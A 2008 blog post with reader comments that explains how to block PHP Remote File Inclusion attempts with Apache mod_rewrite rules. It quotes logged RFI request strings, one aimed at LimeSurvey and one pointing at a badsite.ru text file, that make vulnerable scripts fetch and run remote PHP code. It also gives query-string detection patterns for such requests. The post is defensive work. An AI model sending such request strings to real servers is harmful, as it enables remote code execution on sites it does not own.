Preventing PHP RFI with Apache's ReWriteRules
Posted by coldtobi | 6 Mar, 2008, 17:21 In the last time, there a lots of -- well -- tries to hijack the server via a attack method called "Remote File Inclusion". RFI is a exploit that works if a script writer forgets about sanitize incoming http request strings. For more details, look up RFI in Wikipedia, as they have a nice article about that.But there is an easy way to get block these silly attemps, as they have a common pattern to look for. At least if you have access to your .htaccess, the module mod_rewrite and a Apache around.
But please be aware, that this is not a fix against security holes: If you want a real fix for the problem, configure your server appropiate and frequently check your installed scripts for updates. However, if you are on a shared hoster, you might not have the ability to change the required settings. In this case, you should contact customer service, as it is also in your hoster's interest. I use it to keep my logs clean. and also reduce load on the server, as php will not be fired up on every attempt.
But first take a look, how a RFI Request usually looks like: (directly from the logs, blanks added to fix your screen...)
/limesurvey/admin/admin.php? sid=46388/classes /core/language.php? rootdir =http://www.<removed >.com/gallery/on.txt?Splitting that up, you get this informations: The attacker is targeting "limesurvey", (http://limesurvey.org), which seems to had a handful of these RFIs. Anyway, the attacker wants the "admin/admin.php" scripts, and supplies to it some more parameter, just enough to get the thing started. The last parameter on the screen is an URL to an external site, which has already been captured. (This sites are usually also victims, as the attacker wants to hide his identity.)
Anzeige
Well, if you try to load the page it is referencing in the exploit, you see that limesurvey will include a text which is actually a php file, which will infect the server if run.
<?php
echo "jimmywho";
(...)
However, there is on thing which is common to all RFI: The "R" for Remote. Therefore, the attempts can easily spotted, as they have to use an URL. And a URL always begins with the protocol to be used, usually http, or ftp. Catching also SSL encrypted protocols, we can include https and ftps into our list. But that is not everthing. But that is not the only fingerprint this kind of attack shows: Also the URL is usually assigned to an parameter, therefore it needs a “=” sign just before the URL. And to make the attack work, it also needs to end the parameter with an “?”. Collecting all this information, we get can assemble this rule:
Block it, if it looks like:
(some characters)=<protocol>”://”(url)”?”As we need to match this in a Query_string, we have to define that with RewriteCond. But take a look:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(\?\?)+
RewriteRule .* http://frost.de/trap.php [R,L]
</IfModule>
The few lines just setup ReWriting. In case your .htaccess does not have this already, please make sure to include them. The conditional statements will automatically disable the lines, if mod_rewrite is not available.
The RewriteCond will match against the found pattern, and the RewriteRule determine where to redirect the attacker. However, if you don't like redirection, you can also block the request entirly by sustituting the [R,L] with [F,L]. BTW, this lines go into the .htaccess file.
Want to try this? Here is a sample link , which will force you into the trap. You won't be blocked: http://blog.coldtobi.de/index.php?name=http://www.frost.de?
<—&mdash Showing ERROR? Click here!
Blog and Website | Comments (4) | Trackbacks (0)
Related Articles:
- Installing Debian on the Thecus N2100 -- PART 3 -- Installing Debian
- Seamless integration Google Search into Lifetype (Part 4)
- Installing Debian on the Thecus N2100 -- PART 1 -- Preparation for install
- Thecus N2100: Testing a kernel prior flashing
- Thecus N2100: Testing a new kernel. Or the Installer. Or Revert. Or Recover.
stplanken : Works locally, not on server
09/06/2008, at 06:47 [ Reply ]
My rewrites do not always seem to work 100%. I had this:
RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*) [NC]
RewriteRule .* - [F,L]
and I also tried the example from your post. When testing against the URL's found in my site's logs, the rewrites always work when testing locally using XAMPP, but not always on the server.
For example, for this URL (spaces added):
http://mysite.com/category//templates/barrel/template.tpl.php ?renderer=http://badsite.ru/forum/language/test.txt?
I always get the "forbidden" when testing locally (as expected), but not on the live server. Any idea why? Is this a configuration issue with Apache? Thanks.
coldtobi : Re: Works locally, not on server
12/06/2008, at 16:58 [ Reply ]
I think, this is a server configuration issue, if it works locally but not remote.
Things to check are, if ModRewrite is enables (likely, or you'd get an error message)
Also, check the order in your .htaccess: Maybe there is a rule, that is used *before* the Apache handles the "RFI-Rule".
By the way, I did not escape the slashes. But most likely this would breaks it locally and on the server.
PS: Apache can debug Rewrite Rules:
RewriteLog "/path/mylogfile.log"
RewriteLogLevel 3
(See Apache docs for details. Not tested.)
stplanken : Still investigating
15/06/2008, at 23:08 [ Reply ]
Thanks for your answer, I just opened a support case with my hosting company to find out if this could be a configuration issue. My site *does* return a not found error for each attempt, but I still would like to block it using .htaccess. Thanks.
coldtobi : Re: Still investigating
16/06/2008, at 12:14 [ Reply ]
Another thing to try: Remove the following two lines:
If you then get an "Internal Server Error" then it is likely that mod_Rewrite is not available.